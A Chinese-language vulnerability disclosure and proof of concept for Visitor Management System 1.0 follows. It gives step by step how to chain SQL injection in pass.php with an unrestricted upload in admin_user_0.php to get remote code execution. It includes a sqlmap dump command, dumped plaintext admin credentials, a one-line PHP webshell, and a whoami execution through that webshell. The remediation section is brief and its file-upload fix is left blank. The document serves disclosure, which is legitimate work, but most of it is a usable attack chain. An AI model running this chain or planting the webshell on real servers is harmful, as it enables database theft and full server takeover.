
概念验证,演示了在 Visitor Management System 1.0 中,将 SQL 注入与无限制文件上传串联利用以实现远程代码执行,包含分步利用过程及修复建议。
| 字段 | 详情 |
|---|
| 产品 | 访客管理系统 |
| 厂商 | code-projects.org |
| 版本 | 1.0 |
| 漏洞类别 | SQL 注入(CWE-89)+ 不受限制的文件上传(CWE-434) |
| CVE ID | 待定 |
| CVSS 评分 | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 所需认证 | 低权限(保安账户)作为入口点 |
| 受影响文件 | /vms/php/pass.php、/vms/php/admin_user_0.php |
| 易受攻击的参数 | phone(POST) |
由 code-projects.org 开发的访客管理系统 1.0 存在一个严重的攻击链漏洞,该漏洞结合了 SQL 注入和不受限制的文件上传,最终导致远程代码执行。
具有低权限访问权限(保安账户)的攻击者可以利用 pass.php 中 phone POST 参数的 SQL 注入漏洞,转储整个数据库——包括明文管理员凭据。利用提取的凭据以管理员身份进行认证后,攻击者可以通过管理员用户管理面板(admin_user_0.php)上传 PHP 网页后门,该面板不执行任何文件类型或扩展名验证。上传的网页后门存储在 Web 可访问的目录中,可直接通过 URL 执行,从而在服务器上实现完整的远程代码执行。
此外,密码以明文形式存储在数据库中,这意味着在 SQL 注入转储后无需进行破解步骤。
低权限保安登录
↓
pass.php 中的 SQL 注入(phone 参数)
↓
sqlmap 转储 → 提取明文管理员凭据
↓
以管理员身份登录(sanjay1:7861)
↓
admin_user_0.php 中的不受限制的文件上传
↓
PHP 网页后门上传至 /vms/php/folder/
↓
通过 ?cmd=whoami 实现 RCE → 完全控制服务器
导航至 VMS 应用程序并使用保安凭据登录。登录后,导航至电话号码页面:
http://<TARGET>/vms/php/phone_0.php

提交单个引号 ' 作为电话号码值。应用程序抛出致命的 MariaDB 错误,暴露了原始查询和文件路径:
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '2026-05-05'' at line 1 in
C:\xampp\htdocs\vms\php\pass.php:9
Stack trace:
#0 C:\xampp\htdocs\vms\php\pass.php(9): mysqli_query(Object(mysqli), 'select * from i...')
受影响文件: pass.php 第 9 行
易受攻击的参数: phone(POST)

sql 错误

将 Burp Suite 捕获的请求保存到文件(sqli.txt)并运行 sqlmap:
sqlmap -r sqli.txt --dump --batch
sqlmap 成功从 vms 数据库中转储了 login_user 表,揭示了所有用户的明文凭据:
Database: vms
Table: login_user
[2 entries]
+----+---------+------------+---------+-------+--------+----------+-----------+
| id | image | phone | name | user | gender | password | username |
+----+---------+------------+---------+-------+--------+----------+-----------+
| 1 | <blank> | 8146905071 | sanjay | guard | male | 786 | sanjay123 |
| 2 | <blank> | 8146905071 | sanjay1 | admin | male | 7861 | sanjay1 |
+----+---------+------------+---------+-------+--------+----------+-----------+
注意:密码以明文形式存储——无需进行哈希破解。

使用提取的管理员凭据登录管理面板:
用户名:sanjay1
密码:7861
现在可以访问完整的管理员仪表板,包括员工、部门、管理员用户和报告管理。

导航至管理员用户管理页面:
http://<TARGET>/vms/php/admin_user_0.php
该页面包含一个用于上传个人资料图片的文件上传字段。应用程序不执行任何文件类型验证、扩展名过滤或 MIME 类型检查。
在表单中填写任意值,并将以下 PHP 网页后门作为图片文件上传(web2_command.php):
<?php echo shell_exec($_GET['cmd']); ?>

导航至管理员用户显示页面:
http://<TARGET>/vms/php/admin_display_0.php
新创建的管理员账户在表格中可见。上传的网页后门存储在:
http://<TARGET>/vms/php/folder/web2_command.php

通过网页后门执行任意系统命令:
http://<TARGET>/vms/php/folder/web2_command.php?cmd=whoami
结果: 服务器返回当前系统用户,确认实现了完整的远程代码执行:
desktop-g1i9np3\dell

| 文件 | 漏洞 |
|---|---|
/vms/php/pass.php | 通过 phone POST 参数实现 SQL 注入 |
/vms/php/admin_user_0.php | 不受限制的文件上传 — 无扩展名或 MIME 验证 |
/vms/php/folder/ | 网页后门存储目录 — Web 可访问,无任何限制 |
针对 SQL 注入:
$stmt = $conn->prepare("SELECT * FROM login_user WHERE phone = ?");
$stmt->bind_param("s", $phone);
$stmt->execute();
针对文件上传:
针对密码存储:
password_hash() 和 password_verify() — 切勿存储明文